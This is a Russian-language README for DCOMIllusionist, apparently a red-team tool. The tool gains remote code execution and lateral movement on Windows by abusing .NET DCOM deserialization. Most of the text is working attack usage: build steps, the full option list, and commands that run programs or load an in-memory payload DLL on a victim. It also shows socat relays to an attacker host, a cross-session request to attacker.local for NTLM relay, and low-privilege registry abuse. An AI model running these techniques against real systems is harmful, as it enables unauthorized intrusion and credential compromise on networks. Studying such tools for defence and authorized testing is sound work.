
DCOM в памяти и бесфайловые техники латерального перемещения через .Net десериализацию
Техника бесфайлового бокового перемещения в Windows.
Введение • Сборка • Использование • Технические подробности • Благодарности
Этот инструмент позволяет выполнять удалённый код на машине Windows при наличии административных привилегий. Он использует DCOM и особенность .NET DCOM-серверов, которые автоматически десериализуют входящие объекты. Это даёт возможность выполнять произвольные команды или загружать DLL без записи на диск.
Изначально обнаруженный Джеймсом Форшоу как метод повышения привилегий, этот способ был адаптирован для бокового перемещения путём удалённого изменения определённых ключей реестра. Кроме того, он поддерживает эксплуатацию между сеансами через DCOM, позволяя выполнять произвольные команды в сеансе другого пользователя в контексте безопасности этого сеанса.
Инструмент работает на рабочих станциях и серверах, но для работы этой техники требуется сетевой доступ между целевой машиной и машиной, контролируемой атакующим.
Более подробно в этом разделе.
Доступен готовый релиз, либо можно собрать инструмент вручную:
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>
[!IMPORTANT]
Для успешного использования этого инструмента требуются административные привилегии как на атакующем хосте (через повышенную оболочку), так и на целевой машине.
Usage:
DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)
Options:
-h, --help Show this help message and exit
-d, --debug Enable debug logging
-t, --target <value> Set the target hostname or IP
-p, --port <value> Set the target port (Default: 49765)
--clsid <value> Specify a CLSID (no curly braces)
--appid <value> Specify an AppID (no curly braces)
-s, --session <value> Provide a session identifier
-l --listen <host> Specify listener FQDN or IP
-g, --gadget <value> Specify gadget to use
--attacker-sid <value> Set the attacker's SID
--no-port-check Disable port availability check
--restore-backup <path> Restore registry from backup
--local-registry-only Only performs local registry modifications
--remote-registry-only Only performs remote registry modifications
--skip-local-registry-setup Skip local registry setup
--skip-remote-registry-setup Skip remote registry setup
--hku Perform remote registry operations on HKCU instead of HKLM
--fake-clsid Create fake CLSID with fake AppId
Attacks:
--ps-exec <args> Execute a command remotely using PSExec
--exec <cmd> Execute a command remotely
--exec-args <args> Args to pass to the command
--curl <url> Use curl-style web request payload
--file-write-src <src> File to write
--file-write-dst <dst> Destination path
--load-dll <path> Load a DLL into the remote process
--dll-class <value> Class in the DLL to execute (including namespace)
--dll-method <value> Static Method in the class to execute (Default: Run)
--yso-b64 <b64> Execute base64-encoded ysoserial payload
--test-network Check network access from target to attacker machine
--list-sessions List interactive sessions on the target
Examples:
DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2
CLSID:
BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge (Default)
2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead
AppId:
577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider (Default)
63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings (Interactive user)
D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory (Interactive user)
--sessionКак уже объяснялось, можно указать сеанс для выполнения произвольной команды в сеансе другого пользователя.
[!WARNING] Это работает только с AppID, настроенными на запуск от имени интерактивного пользователя. Данное поведение обрабатывается автоматически: нет необходимости указывать аргумент
--appid, поскольку инструмент по умолчанию использует AppID, связанный с Параметрами контроля учётных записей.
[!IMPORTANT] Работает только в том случае, если атакующая машина входит в домен; подробнее здесь.
--list-sessionsПоказывает список удалённых интерактивных и активных сеансов на целевой машине с помощью WTSEnumerateSessions.
--listenЕсли целевая машина не может напрямую подключиться к хосту атакующего, эксплуатация завершится неудачей. Однако можно указать промежуточную машину, к которой целевая система способна подключиться. С помощью таких инструментов, как socat, трафик затем можно перенаправить с этого промежуточного узла на хост атакующего.
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami
--attacker-sidПри запуске эксплойта из оболочки runas /netonly связанная учётная запись не может быть определена автоматически. Поэтому для успешной атаки необходимо явно указать её с помощью опции --attacker-sid.
--exec--exec можно использовать вместе с --exec-args для выполнения произвольных бинарных файлов на целевой машине:
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"
[!NOTE]
--ps-exec— это просто обёртка над ним; то же самое можно сделать с помощью:--ps-exec calc
--curlCurl может быть полезен в сценариях межсеансовой эксплуатации. Если у вас есть административные привилегии на машине и, например, администратор домена активен в сеансе 3, можно инициировать аутентифицированный HTTP-запрос, полностью средствами .NET, от имени этого пользователя. Направив этот запрос на машину атакующего, на которой запущен ntlmrelayx.py, можно выполнить традиционные NTLM relay-атаки для компрометации пользователя.
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local
--load-dllМожно загрузить произвольную DLL полностью в память, не касаясь диска. Например:
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;
public class Payload
{
public static void Run()
{
Process.Start("calc");
}
}
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload
По умолчанию выполняется статический метод Run (без параметров) указанного класса. Это поведение можно изменить с помощью параметра --dll-method.
--yso-b64Для продвинутой генерации гаджетов можно использовать Ysoserial.net. Полученную Base64-кодированную нагрузку можно указать напрямую; она будет упакована в экземпляр RolePrincipal и десериализована на целевой машине.
[!WARNING] Работает только с BinaryFormatter
--test-networkВыполняет те же операции, что и обычный эксплойт, но отправляет только фиктивную нагрузку, чтобы подтвердить, что целевая машина может подключиться к машине атакующего.
--hkuВсё можно эксплуатировать от пользователя с низкими привилегиями, используя корневой ключ реестра HKEY_USERS вместо HKLM. Это применимо, если пользователь является членом группы Performance Log Users или Distributed COM Users. В этом случае необходимо указать --attacker-sid для доступа к правильному пути в реестре. Также необходимо указать доступный для записи CLSID (см. --fake-clsid):
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a
--fake-clsidСоздаёт поддельные CLSID и AppId. На AppId устанавливаются разрешения, благодаря которым текущий пользователь или пользователь --attacker-sid сможет запускать и активировать DCOM-сервер. Это полезно при эксплуатации от пользователя с низкими привилегиями в разделе HKU.
PS F:\> ./DCOMIllusionist.exe --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}
Когда DCOM-сервер, написанный на .NET, получает объект, он запрашивает DCOM-интерфейс IManagedObject. Если интерфейс присутствует, сервер вызывает метод GetSerializedBuffer. Клиент отвечает сериализованной версией объекта, которую сервер затем десериализует, что приводит к выполнению произвольного кода. Для успешного выполнения этого приёма машина-жертва должна иметь прямой сетевой доступ к хосту атакующего (см. --listen).
Подделывая произвольные ссылки OBJREF DCOM, можно перенаправить целевую машину на любую удалённую систему. Например, socat можно использовать для проброса трафика на порту 135 (и любом другом порту) на реальную машину атакующего. В доказательстве концепции Джеймса Форшоу, которое позже стало основой для эксплойтов "Potato", он использовал GUID PointerMoniker для маршалинга произвольных объектов в OBJREF. Этот подход успешно вызывал аутентификацию, но не срабатывал на последующих этапах. Используя вместо этого GUID стандартного маршаллера, можно создавать и отправлять полнофункциональные произвольные OBJREF.
Однако на протестированных версиях Windows Server .NET DCOM-серверы по умолчанию не доступны извне. Чтобы обеспечить удалённое взаимодействие, можно удалённо изменить реестр Windows, связав пользовательский AppID с .NET CLSID, что сделает его доступным через DCOM. При тщательном выборе AppID также можно реализовать межсеансовую эксплуатацию через session-moniker, если на целевой машине присутствует интерактивный сеанс. Эта возможность также была обнаружена и подробно описана Джеймсом Форшоу здесь и здесь.
Чтобы эксплойт сработал, целевой сервер должен получить сериализованные данные объекта (гаджет) с машины атакующего. Для этого сервер должен пройти аутентификацию на хосте атакующего.
Если AppID не настроен на запуск от имени интерактивного пользователя, попытка аутентификации будет выполняться как Anonymous. Чтобы это стало возможным, машина атакующего должна быть настроена на приём анонимной DCOM-аутентификации путём изменения разрешений доступа DCOM по умолчанию.
Когда AppID связан с интерактивным пользователем, аутентификация выполняется с использованием учётной записи пользователя в указанном сеансе (через --session) или, по умолчанию, в сеансе 0. В этом случае машина атакующего должна быть в составе домена, чтобы принять аутентификацию пользователя. Именно поэтому группа Everyone временно добавляется в разрешения доступа DCOM по умолчанию для обеспечения успешной аутентификации.
Важно отметить, что изменяются только разрешения доступа по умолчанию; разрешения на запуск и активацию остаются без изменений. Все изменения откатываются после завершения операции. Если что-то пошло не так, создаётся резервная копия исходных настроек, которую можно восстановить.
[!CAUTION] Машина атакующего на время эксплуатации остаётся в более разрешающем состоянии, однако все изменения затем откатываются.
TextFormattingRunProperties; он показал, как загружать произвольную DLL в память. Это было использовано в атаках --curl и --file-write.